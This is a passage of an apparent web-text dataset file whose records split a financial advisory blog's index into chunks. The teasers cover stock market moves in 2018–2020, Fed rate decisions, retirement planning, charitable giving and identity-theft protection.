fighting liver disease you can visit the British Liver Trust (BLT): http:\/\/www.britishlivertrust.org.uk or call the BLT Freephone Helpline: 0800 652 7330.","metadata":{"pile_set_name":"Pile-CC"},"id":897} {"contents":"Blog\n\nThe ability to enjoy a secure retirement is an objective that many teachers and their colleagues pursue years before they leave their jobs. Many public school workers, in different positions, devote their lives to furthering the...\n\n2020 is only five months old, but in many ways it is one of the most historic years we\u2019ve ever seen. \u201c2020 went from moving along nicely, to seeing the worst recession in a generation and the fastest bear market ever...\n\nThe S&P 500 Index flirted with closing above 3,000 yesterday, even as much of the economic data is some of the worst we\u2019ve ever seen in our lifetimes. We are often asked how this is possible. The reality is the double backstop of...\n\nIn these trying times, even those with veins of steel can","metadata":{"pile_set_name":"Pile-CC"},"id":898} {"contents":"find themselves nervous about the market's direction and what it could mean for one's financial future. And the unprecedented nature of the novel coronavirus\u2014and its...\n\nThe Coronavirus Bear kicked the 11-year bull off of Wall Street very fast A \u201cbear market\u201d occurs when stock prices in general are falling, and then widespread pessimism sustains the continued drop in prices. The stock...\n\nThe incredible rally off the March 23 lows continues for equities, with the S&P 500 Index now up more than 32% in 40 trading days. As impressive as the rally has been, we do have some near-term concerns, as we discussed in Downside...\n\nGold has done quite well so far in 2020, up more than 12% year to date versus the S&P 500 Index which is down about 10%. We","metadata":{"pile_set_name":"Pile-CC"},"id":899} {"contents":"started to warm to the yellow metal late last year and continue to think it can serve as a potential hedge in a...\n\nOne of the most historic market crashes ever took place 10 years ago today, with the Dow Jones Industrial Average Index plunging more than 1,000 points, or 9%, within minutes, only to regain most of the losses by the end of the day....\n\nThis year, Teacher's Appreciation Week runs from May 4 to May 8, but rather than being in the classroom, most teachers will be at home, navigating their calling outside the classroom. When the coronavirus hit the United States,...\n\nWith businesses around the country reducing their in-office staff to essential personnel only\u2014in some cases, literally overnight\u2014many remote workers found themselves setting up a full home office","metadata":{"pile_set_name":"Pile-CC"},"id":900} {"contents":"on short to no notice. But...\n\nThe Conference Board\u2019s Consumer Confidence Index (CCI) for April came in 86.9, falling more than 30 points from the prior month. The monthly drop was the biggest for the index since 1973, reflecting the severity of the economic...\n\n\u201cLife is 10% what happens to you and 90% how you respond to it.\u201d \u2014 Lou Holtz, Hall of Fame football coach As the battle against the COVID-19 pandemic continues, how we respond to it will determine how we beat it....\n\nWith 22 million jobs lost in the past four weeks, a record drop in retail sales, and huge drops in industrial production and housing starts, it is safe to say we are likely in a recession. Even the Federal Reserve (Fed) in the recent...\n\nAs the coronavirus","metadata":{"pile_set_name":"Pile-CC"},"id":901} {"contents":"crisis hit a fever pitch in late March 2020, Congress passed an unprecedented $2.2 trillion relief package known as the Coronavirus Aid, Relief, and Economic Security (CARES) Act. While much of the CARES Act focuses...\n\nWhat a ride 2020 has been for investors. The fastest bear market ever, now one of the steepest recoveries ever. After being down more than 30% for the year on March 23, this recovery is extremely impressive. In fact, before yesterday,...\n\nStocks have rallied nicely off the March 23 lows on the back of a bold policy response from the Federal Reserve (Fed) and lawmakers in Washington, DC, which was followed by signs that a peak in growth of COVID-19 cases may come soon....\n\nWith the rapid spreading of COVID-19, and more and more people either","metadata":{"pile_set_name":"Pile-CC"},"id":902} {"contents":"on self-quarantine or practicing social distancing, many of us are working from home. While working from home definitely has its perks \u2013 no commute! \u2013...\n\nThe COVID-19 pandemic has caused unprecedented volatility in recent weeks that has investors and traders scrambling to assess the economic and market impact of the aggressive containment measures. This past week the CBOE Volatility...\n\nThe market volatility continues, as the S&P 500 Index has closed either up or down 4% or more for a record 7 consecutive days. With the S&P 500 Index down 30% from the highs, it has officially moved into a bear market. Yesterday, we...\n\nThe dizzying volatility over the past few weeks has left all of our heads spinning as we wait for containment efforts in the United States and elsewhere to","metadata":{"pile_set_name":"Pile-CC"},"id":903} {"contents":"help slow new cases of COVID-19 (coronavirus). Public health is of course our...\n\nDespite all of the other advances made in our society in recent generations, women continue to face unique challenges when it comes to preparing for their financial futures. Recognizing the Shortfalls For starters, women on average...\n\nYou should pick investments (and teams) so you win most of your games Sports metaphors and investing are natural pairs. A good way to look at portfolio management is the NCAA March Madness tournament. As with basketball, you should...\n\nIn a move in which the timing was more compelling than the decision itself, the Federal Reserve (Fed) announced this morning that it unanimously decided to cut its policy rate by 50 basis points (0.5%) from the 1.5-1.75% range to the...\n\nIdentity theft runs","metadata":{"pile_set_name":"Pile-CC"},"id":904} {"contents":"rampant during tax season Here\u2019s what to know and how to protect yourself. Identity thieves often swipe your bank or credit card account numbers, birth date information or Social Security Number (SSN) to steal...\n\nIt seems, sometimes, as though financial professionals come in only two flavors. There are those who promise everything is going to be fine; you don't have to fret about retirement, they say, because they'll help you make more than...\n\nThese days, having a credit card is practically a necessity, even when you are retired. It's hard to do things like buy airline tickets, rent a car, or place an order online without one. And, while monitoring your credit card use is...\n\nThe global equity weakness continued yesterday, with consecutive 3% drops for the S&P 500 Index for","metadata":{"pile_set_name":"Pile-CC"},"id":905} {"contents":"the first time since August 2015. It might be hard to believe, but exactly one week ago today the S&P 500 was making a new all-time...\n\nA growing number of Americans have been forced to delay their planned retirement date due to job and savings losses suffered during the past recession. Postponing retirement not only means working longer but also delaying when you...\n\nMedicare contains many rules that beneficiaries and their caregivers are required to learn. Perhaps the best way to grasp the program's details is to review the major components of the Medicare program: Parts A, B, C, and D. Medicare...\n\nThe financial media returned to a favorite topic in the last week, yield curve inversion, but we caution against getting caught up in the building frenzy. The Treasury yield","metadata":{"pile_set_name":"Pile-CC"},"id":906} {"contents":"curve inverts when short-term interest rates move above...\n\nSocially responsible investing (SRI) is a strategy to make your investments more impactful by supporting ecological and social causes. SRI investors invest their money to support companies that value transparency in their business...\n\nEconomic Blog The 10-year U.S. Treasury yield moved to within .05% of its recent low on Friday, January 31, approaching the 1.47% mark set back in August 2019. Prospects of stabilizing global growth and progress on trade encouraged...\n\nMarket Blog Fears that the deadly coronavirus would spread further around the globe intensified Monday and led to the biggest one-day drop in the S&P 500 Index since October 8, 2019. In fact, it was the first time the index moved 1%...\n\nWhen it comes to retirement plans, there is no one-size-fits-all approach","metadata":{"pile_set_name":"Pile-CC"},"id":907} {"contents":"for how to invest. While there are some basic strategies everyone should follow, it\u2019s important to keep in mind retirement plans will vary, depending on...\n\nContrary to what many people think, trusts are not reserved only for the wealthy. The truth is, people from all walks of life may benefit from a trust. What Is a Trust? Generally speaking, a trust is a legal entity that allows someone...\n\nECONOMIC BLOG As the economic expansion caps its first decade, we thought it\u2019d be a good time to check on LPL Research\u2019s leading indicators in our Recession Watch Dashboard. As you can see in our latest update and in the...\n\nOne of the more difficult challenges facing a business owner is the formulation of a viable and economically beneficial exit strategy at retirement.","metadata":{"pile_set_name":"Pile-CC"},"id":908} {"contents":"Typically, the main goals of such an exit strategy are: 1) to identify a qualified...\n\nConsumer inflationary pressures grew at a healthy, but manageable rate in December 2019. The core Consumer Price Index (CPI), which excludes food and energy, rose 2.3% year over year last month, around the fastest pace of the economic...\n\nThe ability to enjoy a secure retirement is an objective that many teachers and their colleagues pursue years before they leave their jobs. Many public school workers, in different positions, devote their lives to furthering the...\n\nRetiring in a foreign country is a dream shared by thousands of Americans. Yet the number who actually pack their bags and cross the border to enjoy a life of leisure in a foreign country is difficult to gauge -- neither the","metadata":{"pile_set_name":"Pile-CC"},"id":909} {"contents":"U.S....\n\nThe U.S. airstrike that killed the top Iranian military commander last week was a major escalation in Mideast tensions. In fact, it would be difficult to overstate the geopolitical significance of this action. Iran likely will...\n\nAt some point in your life, you probably have heard about the importance of developing a budget. But, why is a budget so important? Perhaps you simply spend what you must and save whatever\u2019s left over. Or, perhaps you spend all...\n\nThe inverted yield curve was the biggest story of 2019 in the bond market. Historically, when long-term bond yields fall below short-term yields, as the 2- and 10-year Treasury yields did in August, recessions have tended to follow,...\n\nLife insurance can be an excellent tool for charitable giving. Not only does life insurance allow","metadata":{"pile_set_name":"Pile-CC"},"id":910} {"contents":"you to make a substantial gift to charity at relatively little cost to you, but you may also benefit from tax rules that apply to gifts...\n\nEconomic Blog December 17, 2019 December has been widely viewed as a strong month for stocks, with this year following suit so far. What many probably don\u2019t realize, however, is the majority of the gains have taken place late in...\n\nThe Federal Reserve\u2019s (Fed) final policy meeting of 2019 starts today and will conclude tomorrow with the release of the Fed\u2019s policy statement, updated economic projections, and a press conference by Fed Chair Jerome...\n\nHindsight is 20\/20, but finding clarity in future uncertainty can be fuzzy. AT LPL RESEARCH, as we look forward to the year 2020 and a new decade, some key trends and","metadata":{"pile_set_name":"Pile-CC"},"id":911} {"contents":"market signals will be important to watch, including progress on U.S...\n\nLife insurance can be an excellent tool for charitable giving. Not only does life insurance allow you to make a substantial gift tocharity at relatively little cost to you, but you may also benefit from tax rules that apply to gifts...\n\nTax planning can be more advantageous when done during the year and well in advance of year\u2019s end.Opportunities may exist for you to minimize tax liability, which could leave more income for you and\/or your family.Generally,...\n\nDonating a Car to Charity If you donate your car to charity, you may claim a tax deduction for the donation if you itemize your deductions on your federal income tax return. To get started, you'll need to pick a qualified charitable...\n\nIt may","metadata":{"pile_set_name":"Pile-CC"},"id":912} {"contents":"be better to give than to receive, but it may be even better to give and see your generosity rewarded. Charitable giving can play a valuable role in your financial and tax strategies. A well-planned gift to charity could provide...\n\nIt took nearly 15 months, but the Russell 2000 Index finally broke out to a new 52-week high. On November 25, the Russell 2000 gained an impressive 2.1% to close at its highest level since October 2018. Small caps have lagged their...\n\n\u201cWe\u2019re going streaking!\u201d Frank The Tank in Old School As the bull market continues to make new highs, the past few weeks have seen some amazing market streaks. Here are three that have caught our attention. The S&P...\n\nThe S&P 500 Index has closed higher five consecutive weeks, making","metadata":{"pile_set_name":"Pile-CC"},"id":913} {"contents":"six new all-time highs along the way. There now have been 19 new highs in 2019, tying the number we saw last year. There\u2019s no doubt that this bull market has been...\n\n\u201cAn object in motion tends to remain in motion along a straight line unless acted upon by an outside force.\u201d Sir Isaac Newton What a year it has been for the bulls. The S&P 500 Index recently made four more new highs, and...\n\nA healthy lifestyle fosters human excellence. It is an integration of the mind, body, and spirit that enables us to continually uncover our potential and strive to achieve all of which we are capable. Healthfulness is a state of...\n\nBringing pet dogs into the workplace is becoming increasingly common. Large companies like Google, Ticketmaster and challenger","metadata":{"pile_set_name":"Pile-CC"},"id":914} {"contents":"bank Monzo are just a few that have joined companies in the pet sector (like Pets at Home) that allow...\n\nEco-consciousness is an important consideration today and that trend has made its way into investor choices, as well. Even robo-advisors have responded to consumer demand for socially responsible investing (SRI). What exactly does that...\n\nThe average donor household in the United States gives around $2,000 a year, with small donations making up the bulk of charitable gifts, according to a report prepared by the Center on Philanthropy for Indiana University. The study...\n\nThe Federal Reserve Bank (Fed) is widely expected to cut interest rates on Wednesday, October 30, which would be the third cut this year after nine consecutive hikes. The current fed funds rate target is 1.75\u20132%, with a 25","metadata":{"pile_set_name":"Pile-CC"},"id":915} {"contents":"basis...\n\nKelly and Bob regularly set aside a small portion of their budget for charitable donations. In addition to feeling good about supporting a number of worthy causes, they\u2019ve been able to deduct the value of their charitable gifts...\n\nThe United Kingdom\u2019s (U.K.) withdrawal from the European Union (E.U.), or Brexit, is stumbling along, and another delay looks increasingly likely. The U.K. Parliament\u2019s \u201cSuper Saturday\u201d voting session last...\n\nRetirement income is different than what you're used during a full-time career. You'll have a new set of concerns, but you'll also have a decent amount of freedom to make your money behave the way you want. Here are nine of the most...\n\nThe debate over the United Kingdom\u2019s (U.K.) withdrawal from the European Union (EU), or Brexit, is reaching another milepost in what","metadata":{"pile_set_name":"Pile-CC"},"id":916} {"contents":"could be an action-packed week. Talks between the U.K. government and the EU have entered...\n\nYou\u2019re young, have little in savings and likely have no one yet relying on you financially. So why do you need to think about estate management?\u00b9 Here are four great reasons: Estate Strategies: They're Not Just for the...\n\nWaiting in a winding airport security checkpoint line is just one of many potential headaches today's travelers experience. Worrying about what to pack, what kind of identification is required, and how much cash to bring are yet others...\n\n\u201cThe economy, stupid\u201d \u2014 Phrase campaign strategist James Carville used to help Bill Clinton get elected in 1992. As Carville noted ahead of the 1992 election, the recession in 1990 and 1991 was top of mind for many...\n\nU.S. manufacturing activity","metadata":{"pile_set_name":"Pile-CC"},"id":917} {"contents":"fell to a 10-year low, dragged down by a weakening global economy. The Institute for Supply Management\u2019s (ISM) Purchasing Managers\u2019 Index (PMI) fell to 47.6 in September, the lowest level since...\n\nYou\u2019re an entrepreneur and you\u2019re not looking back. You\u2019ve opened your own business, whether alone or with other partners, and you\u2019ve found some success. You\u2019ve hired employees, or not, depending on your...\n\nAs shown in the LPL Chart of the Day, the 10-year Treasury yield jumped 34 basis points (0.34%) in the week ending September 13, then gave back half that gain in a 17 basis point (0.17%) slide last week. The benchmark yield...\n\nOne extracurricular activity that every student can master while in college is personal money management. Typically, a student\u2019s daily spending is done on an improvised basis,","metadata":{"pile_set_name":"Pile-CC"},"id":918} {"contents":"meaning that overspending is often the norm rather...\n\nLife insurance can be an excellent tool for charitable giving. Not only does life insurance allow you to make a substantial gift to charity at relatively little cost to you, but you may also benefit from tax rules that apply to gifts...\n\nMany adults are finding that their aging parents are in need of health care assistance. Luckily, there are many options available today to help your parents grow old gracefully, either in their own home or in a facility, and several...\n\nInvest early. Invest often. Invest for growth. These are the basic principles of saving for your child\u2019s college education. The earlier you begin a savings program, the more time you have to benefit from the power of compound...\n\nFirst and foremost, our","metadata":{"pile_set_name":"Pile-CC"},"id":919} {"contents":"thoughts are with all of those that were impacted by Hurricane Dorian over the Labor Day holiday and all those that are still in its path. Many have asked us what stocks tend to do after a major hurricane hits...\n\nInvest early. Invest often. Invest for growth. These are the basic principles of saving for your child\u2019s college education. The earlier you begin a savings program, the more time you have to benefit from the power of compound...\n\nWaiting in a winding airport security checkpoint line is just one of many potential headaches today's travelers experience. Worrying about what to pack, what kind of identification is required, and how much cash to bring are yet others...\n\nConsumer inflation has surged back after a strong quarter of U.S. consumer demand. As shown","metadata":{"pile_set_name":"Pile-CC"},"id":920} {"contents":"in the LPL Chart of the Day, Consumer Inflation Picks Up in July, the core Consumer Price Index (CPI), which excludes food and energy prices,...\n\nWhen your child first started school, you doled out the change for milk and a snack on a daily basis. But now that your kindergartner has grown up, it's time for you to make sure that your child has enough financial knowledge to manage...\n\nWe\u2019re a week into August, and trade tensions have been the biggest driver of U.S. stocks, as we predicted in our latest Weekly Market Commentary. Markets don\u2019t like uncertainty, and we are getting a heavy dose of it now. On...\n\n529 plans can be a great way to save for college, but they're not the only way. When you're investing for a","metadata":{"pile_set_name":"Pile-CC"},"id":921} {"contents":"major goal like education, it makes sense to be familiar with all of your options. Mutual funds Mutual funds are an option to...\n\nWealth can be a mixed blessing -- one that creates great opportunity as well as weighty responsibility -- especially for children. As a parent, grandparent, or concerned relative, you hope to pass on what you have learned about...\n\nIt has been a great year for stocks. As of July 30, 2019, the S&P 500 Index is up more than 20% so far in 2019. To put that in perspective, since WWII only seven years have been up more than 20% by the end of July, with 1997 being the...\n\n\u201cI\u2019ve been on a calendar, but I\u2019ve never been on time.\u201d Marilyn Monroe We\u2019ve pondered where the S&P 500","metadata":{"pile_set_name":"Pile-CC"},"id":922} {"contents":"Index could go now that it\u2019s near our fair-value target of 3,000. As we discussed in the latest...\n\nBlue chip stocks have been on a tear this month. The Dow Jones Industrial Average (Dow) has risen 2.8% in July, the best performer of the four benchmark stock indexes we track. As shown in the LPL Chart of the Day, The Dow\u2019s Hot...\n\nLet\u2019s get one thing straight: Market pullbacks, corrections, and bear markets happen. Last year was a perfect example of this: The S&P 500 Index endured five separate 5% pullbacks throughout the year, and a nearly 20% bear market...\n\nReturning to a burglarized home can be a horrible jolt after a relaxing vacation. Unfortunately, the truth is that an empty home is an easy target for burglars, and peak vacation","metadata":{"pile_set_name":"Pile-CC"},"id":923} {"contents":"times show the highest number of break-ins. However,...\n\nThe 10-year Treasury yield has been flirting with dipping below 2% throughout the later half of June and into the start of July. As our LPL Chart of the Day, Will Trade Truce Help 2% 10-Year Treasury Yield Hold?, shows, the yield has...\n\nWaiting in a winding airport security checkpoint line is just one of many potential headaches today's travelers experience. In order to help ease the stress of traveling, review guidance from the officials who oversee our nation's...\n\nWe are pleased to announce the release of the LPL Research Midyear Outlook 2019: FUNDAMENTAL: How to Focus on What Really Matters in the Markets, with investment insights and market guidance through the end of 2019. LPL Research...\n\nYou were having a great time on","metadata":{"pile_set_name":"Pile-CC"},"id":924} {"contents":"your vacation--until your toddler woke up from her nap with a fever. If you were at home, you'd take her to the pediatrician right away and rely on your health insurance to pay for her care. But what do...\n\nIf you\u2019re divorced or separated, money management will become an important part of your life. While it may be true that money can\u2019t buy or ensure happiness, your ability to manage your finances can play a large role in your...\n\nU.S. stocks could have a big year if LPL Research\u2019s forecasts prove correct. All year, we\u2019ve maintained our fair value target on the S&P 500 Index of 3,000, implying that we expect this bull market and economic expansion to...\n\nBusiness confidence surged in May despite renewed uncertainty in the U.S.-China trade dispute.","metadata":{"pile_set_name":"Pile-CC"},"id":925} {"contents":"As shown in the LPL Chart of the Day, \u201cBusiness Optimism Surges Despite Trade Uncertainty,\u201d the National Federation of...\n\nWhat recent graduates (and their parents) need to think about Spring is here, summer weather has begun (in many places), and graduation time has arrived. Across the country, students are finishing their high school, college, and even...\n\nThe S&P 500 Index has closed lower four consecutive weeks, its longest weekly losing streak since October 2014. The S&P 500 has closed down five weeks in a row only once since the bull market started in March 2009\u2014a six-week...\n\nLet's say that at the age of 25, you earned $35,000. If your salary increased at the average historical rate, you'd have earned nearly $2 million in total by the time you were 65.1,2 That","metadata":{"pile_set_name":"Pile-CC"},"id":926} {"contents":"might sound like a lot -- until you begin...\n\nWith the bull market 10 years old and the economic cycle about to reach 10 years, the big question is how much longer can it go? To answer this question we will take a closer look at our Five Forecasters for late-cycle warnings....\n\nThe S&P 500 Index has officially gained each of the first four months of the year for the first time since 2013. This comes on the heels of the best first quarter since 1998. Six straight months in green has been the best monthly win...\n\nEach month you settle down to pay bills. You pay your mortgage lender. You pay the electric company. You pay the trash collector. But do you pay yourself? One of the most basic tenets","metadata":{"pile_set_name":"Pile-CC"},"id":927} {"contents":"of sound investing involves the simple habit of...\n\nThere is a good possibility that you or your spouse will eventually require some form of long-term care (LTC). According to the Centers for Medicare & Medicaid Services, at least 70% of people aged 65 or older will require some form of...\n\nU.S. stocks\u2019 slide deepened May 13 with the worst one-day sell-off this year since January 3. On Monday, the S&P 500 Index dropped 2.4% amid threats of higher tariffs on all Chinese imports and retaliatory measures from China....\n\nFinancial planning is more than just a good idea. Research has consistently shown that people who have financial plans -- and who work with financial advisors -- save and invest far more and are nearly twice as likely to feel on track...\n\nWomen play","metadata":{"pile_set_name":"Pile-CC"},"id":928} {"contents":"a central role in establishing and preserving family wealth -- whether nurturing the values of children, fulfilling charitable goals, or making investment decisions that affect the financial security of themselves or their...\n\nSpring is here, summer weather has begun (in many places), and graduation time has arrived. Across the country, students are finishing their high school, college, and even graduate school lives, after years of hard work, stress,...\n\nAmericans' financial lives are increasingly complex. It's not unusual to have checking and savings accounts, a 401(k), IRAs, and other personal investments. Keeping track of all your savings and investments has prompted many...\n\nBut it\u2019s also a time to do some life-planning The spring ritual of high school graduations is here. But graduates and their parents often are poorly prepared to meet the","metadata":{"pile_set_name":"Pile-CC"},"id":929} {"contents":"practicalities of the youngsters\u2019 sudden entry into...\n\nDiversified investors were the big winners in the first four months of this year. As shown in the LPL Chart of the Day, both stocks and bonds have posted strong rallies through the first four months of this year, thanks to increased...\n\nOne of the most popular investment axioms is about to take over the airwaves: \u201cSell in May and Go Away.\u201d That\u2019s because the upcoming six months(from May until the end of October) have historically been the weakest...\n\nAccording to the Identity Theft Resource Center, the number of U.S. data breaches hit a new high in 2017. Nearly 20% of breaches included credit and debit card information, a nearly 6% increase from the prior year. The actual number of...\n\nThe wait is over. After","metadata":{"pile_set_name":"Pile-CC"},"id":930} {"contents":"more than seven months, the S&P 500 Index notched a fresh all-time closing high of 2,933.68 on April 23. To get here, investors have weathered back-and-forth in trade negotiations, a historic government shutdown...\n\n\u201cThis generation got no destination to hold...We are volunteers of America\u201d\u201cVolunteers\u201d by Jefferson Airplane\u00b9 Those of a certain age will recall these Jefferson Airplane lyrics as a call to action, though...\n\nTip: Won\u2019t Medicare Pay for It? After a three\u2013day hospital stay, Medicare will cover the first 20 days in a skilled nursing care facility completely. For the next 80 days, it will cover all but $157.50 per day. And after...\n\nAfter such a strong rally this year, you may be wondering what could drive stocks higher from here. With the S&P 500 Index near its all-time high,","metadata":{"pile_set_name":"Pile-CC"},"id":931} {"contents":"a lot of good news could be priced in to stocks. At the same time, disappointments could...\n\nAfter the best first quarter for the S&P 500 Index since 1998, the big question is: What happens next? We\u2019ve already discussed why a good start to a year could lead to more gains (here and here), but today we will take a look at...\n\nWealth can be a mixed blessing -- one that creates great opportunity as well as weighty responsibility -- especially for children. As a parent, grandparent, or concerned relative, you hope to pass on what you have learned about...\n\nMaintaining good records is important to help meet your tax and legal obligations. The right record keeping system not only helps satisfy these obligations, but it may save you money and","metadata":{"pile_set_name":"Pile-CC"},"id":932} {"contents":"time. Here\u2019s what to consider for your...\n\nThe S&P 500 Index corrected nearly 20% from the September peak until December 24 before staging a furious rally of 19%. What could happen next? A well-deserved pullback would be perfectly normal, and in fact, is probably needed before...\n\nMany parents teach their children the ABCs at a very young age, but do they teach them the ABCs of good credit? At certain points in life, everyone must deal with banks, loans, credit, and finances. You may have learned your lessons...\n\nHow much do you really know about your employer-sponsored retirement savings plan? If you're like many people, you have many ideas about how your plan works, which may or may not be entirely accurate. To gauge your knowledge, take...\n\nAfter gaining 7.8% in January,","metadata":{"pile_set_name":"Pile-CC"},"id":933} {"contents":"the S&P 500 Index has added another 3.3% so far in February for a grand total year-to-date return of 11.4%. With two days to go, currently this is the best first two months of the year since 1987. As we...\n\nWe hear over and over again how important it is to maintain a healthy lifestyle. But being healthy for its own sake isn\u2019t easy \u2014 especially when you\u2019re facing down temptation or battling procrastination. For some, the...\n\nEconomic growth could be lower than we initially expected this year, which could weigh on long-term rates. We\u2019ve seen enough evidence recently to think 2019 gross domestic product (GDP) growth is likely to be closer to 2.5%, the...\n\n1. What is long-term care? Long-term care refers to the ongoing services and support needed by","metadata":{"pile_set_name":"Pile-CC"},"id":934} {"contents":"people who have chronic health conditions or disabilities. There are three levels of long-term care: Skilled care: Generally...\n\n\u201cBulls make money, bears make money, and pigs get slaughtered.\u201d Old Wall Street saying. The Chinese New Year (often called the Lunar New Year) kicked off Tuesday, February 5, and with it came the Year of the Pig. Although...\n\nDiversified investors just capped one of their best months of the current economic cycle. In January, the S&P 500 Index posted its biggest monthly gain since October 2015. At the same time, the Bloomberg Barclays Aggregate Bond Index...\n\nRisk management is a key component in any successful business plan. In today's world \u2014 where data breaches are common occurrences \u2014 it's especially important for business owners to understand the digital risks they face....\n\nHow much","metadata":{"pile_set_name":"Pile-CC"},"id":935} {"contents":"do you really know about your employer-sponsored retirement savings plan? If you're like many people, you have many ideas about how your plan works, which may or may not be entirely accurate. To gauge your knowledge, take...\n\nThe Super Bowl indicator suggests that stocks rise for the full year when the Super Bowl winner comes from the original National Football League (now the NFC), but when an original American Football League (now the AFC) team wins,...\n\nThe baby boomers have re-defined everything they\u2019ve touched, from music to marriage to parenting and, more lately, to what \u201cold\u201d means\u201460 is the new 50! Longer, healthier living, however, can put greater stress...\n\nThe big bounce off the December 24 lows continued last week, as the S&P 500 Index added 2.9% for the week. In","metadata":{"pile_set_name":"Pile-CC"},"id":936} {"contents":"fact, it has gained 2.9%, 1.9%, 2.5%, and 2.9% over the past four weeks for a total gain of 10.5%. Of course, the S&P 500 did...\n\nYesterday\u2019s U.K. Parliament vote was another bump in the road for Brexit. As shown in the LPL Chart of the Day, the British pound and the euro have steadily declined over the past few months, weighed down in large part by...\n\nNo matter how much money you make, completely mastering money early on in life can help you potentially achieve what everyone wants: a financially comfortable today and a financially secure tomorrow. Mastering money in our society can...\n\nStocks have rebounded strongly off the December lows, with the S&P 500 Index adding 2% in January to its 7% gain over the last week of 2018.","metadata":{"pile_set_name":"Pile-CC"},"id":937} {"contents":"We see potential for further gains ahead given the fundamentals supporting economic growth and...\n\nTechnology has not only shrunk the tools we use, but it has also given small businesses the power to operate like big businesses. Technological tools can help small businesses get better organized, efficiently manage their finances, or...\n\nRecent Federal Reserve (Fed) rhetoric has spooked financial markets, especially as uncertainty has clouded investors\u2019 horizons. But we still believe the fundamental U.S. economic landscape is compelling, and despite market...\n\nGo out into your yard and dig a big hole. Every month, throw $50 into it, but don't take any money out until you're ready to buy a house, send your child to college, or retire. It sounds a little crazy, doesn't it? But that's what...\n\nOn Monday, the S&P 500","metadata":{"pile_set_name":"Pile-CC"},"id":938} {"contents":"Index came about as close as possible to the technical definition of a bear market without officially registering one (defined as a 20% or larger decline based on closing prices). Enduring these sharp declines...\n\nS&P 500 Index Reaches Bear Market on an Intra-Day Basis. While the S&P 500 Index is technically not in a bear market by the most widely used definition (20% or more decline based on closing prices), it is important to recognize that...\n\nIn 2017, the U.S. had a record 11.5 million millionaires, up from 10.8 million in the previous year. An increase in personal wealth may bring greater financial flexibility; it may also bring greater liability. Individuals with high net...\n\nThe Federal Reserve (Fed) announced its fourth rate hike of the year, boosting the fed funds rate","metadata":{"pile_set_name":"Pile-CC"},"id":939} {"contents":"to a range of 2.25% to 2.5%. More importantly, policymakers lowered their expectations for future interest rate hikes in the new...\n\nSo far it\u2019s been rough for stocks in December, a month that has historically been bullish. How bad has it been? After 10 trading days, we\u2019re off to the worst start to December since 1980! In fact, the S&P 500 Index is...\n\nWe are pleased to announce the release of the LPL Research Outlook 2019: FUNDAMENTAL: How to Focus on What Really Matters in the Markets, filled with investment insights and market guidance for the year ahead. After nearly 10 years of...\n\nWhat makes for a great family vacation? Should it include learning as well as leisure? Thinking about that next family trip? If you are mulling over how to","metadata":{"pile_set_name":"Pile-CC"},"id":940} {"contents":"make your next one great, consider these questions and factors. Should...\n\nThe gap between setting goals and achieving them can be difficult to bridge. To enhance the chances of achieving personal goals, reminders and motivation are essential; making a New Year\u2019s resolution is simply not enough. A...\n\nAs of this writing, the S&P 500 Index is down another 2% on top of the over 3% drop on Tuesday (markets were closed Wednesday to celebrate the life of former President George H. W. Bush 41). Here are our thoughts on the latest...\n\nEvergreen principles for finding financial balance It\u2019s not simply a matter of working harder; it\u2019s much more about using your non-financial skills and talents in new ways to bring you prosperity and a greater sense of...\n\nSince trade tensions between the","metadata":{"pile_set_name":"Pile-CC"},"id":941} {"contents":"United States and China escalated earlier this year, uncertainty relative to supply chains, input costs, global economic growth, and corporate profits has weighed on the financial markets. Indeed,...\n\nAccording to Giving USA 2017, Americans gave an estimated $390.05 billion to charity in 2016. That\u2019s the highest total in more than 60 years since the report was first published.1 Americans give to charity for two main reasons:...\n\nPerhaps Bette Davis said it best when she observed, \u201cOld age is no place for sissies.\u201d\u00b9 The challenges seniors have met throughout their lives have made them wiser and stronger, preparing them for the unique challenges...\n\nForty-six percent of Americans do not own any stocks or stock-related investments, such as mutual funds, according to a recent Gallup poll.\u00b9 Individuals may cite different reasons for not","metadata":{"pile_set_name":"Pile-CC"},"id":942} {"contents":"investing, but with important long-term...\n\nYour credit report contains information about your past and present credit transactions. It's used primarily by potential lenders to evaluate your creditworthiness. So if you're about to apply for credit, especially for something...\n\nMassive computer hacks and data breaches are now common occurrences \u2014 an unfortunate consequence of living in a digital world. Once identity thieves have your information, they can use it to gain access to your bank and credit...\n\nFacebook, Twitter, LinkedIn\u2014they\u2019ve all fallen prey to hackers who exposed passwords and other personal information for hundreds of thousands of their users. If you haven\u2019t yet had your password stolen, chances are,...\n\nConcerns over identity theft continue to grow, especially with news of data breaches at major companies and financial institutions. Unfortunately, you have little control","metadata":{"pile_set_name":"Pile-CC"},"id":943} {"contents":"over the hacking of these companies, but you do have control...\n\nConventional wisdom says that what goes up, must come down. But even if you view market volatility as a normal occurrence, it can be tough to handle when it's your money at stake. Though there's no foolproof way to handle the ups and...\n\nThis modern twist on the Ben Franklin maxim reflects the multiplicity of taxes to which earnings are subject in today\u2019s world.\u00b9 Finding ways to manage expenses is one of the cornerstones of a sound financial strategy. Here...\n\nTip: If You\u2019re a Victim. If you think you may have had your identity stolen, take action immediately. Start by contacting the Federal Trade Commission (www.ftc.gov), where you can find information about what to do next. Many...\n\nOctober has been a","metadata":{"pile_set_name":"Pile-CC"},"id":944} {"contents":"rough month for equities, but then again it\u2019s historically been one of the most volatile periods of the year. \u201cOctober is known for volatility, and we\u2019ve sure seen it so far,\u201d explained Senior...\n\nTip: One key difference between a will and a living trust is when they take effect. A will takes effect when you die; a living trust takes effect when you execute it and begins to operate when you transfer assets to it. Do you have a...\n\nStocks just had their worst one-day drop since February, as a combination of higher bond yields, U.S.\/China tensions, nervousness over the upcoming midterm elections, six straight months of gains, and worries about peak margins this...\n\nAccording to the National Association of Women Business Owners, there are 9.4 million women-owned businesses, employing nearly","metadata":{"pile_set_name":"Pile-CC"},"id":945} {"contents":"8 million people and generating $1.5 trillion in sales in 2015.1 Many of these businesses started small,...\n\nTip: Nearly 70% of workers expect to work for pay in retirement, but only 26% of retirees actually have done so. Source: 2018 Retirement Confidence Survey, EBRI Retirement can have many meanings. For some, it will be a time to travel...\n\nThe baby boomers have re-defined everything they\u2019ve touched, from music to marriage to parenting and, more lately, to what \u201cold\u201d means\u201460 is the new 50! Longer, healthier living, however, can put greater stress...\n\nGo out into your yard and dig a big hole. Every month, throw $50 into it, but don't take any money out until you're ready to buy a house, send your child to college, or retire. It sounds a little","metadata":{"pile_set_name":"Pile-CC"},"id":946} {"contents":"crazy, doesn't it? But that's what...\n\nCaution: That first step into 2013 could cost you more than a glass slipper\u2026 Written for Ventura Magazine It\u2019s been labeled \u2018The Fiscal Cliff.\u2019 And 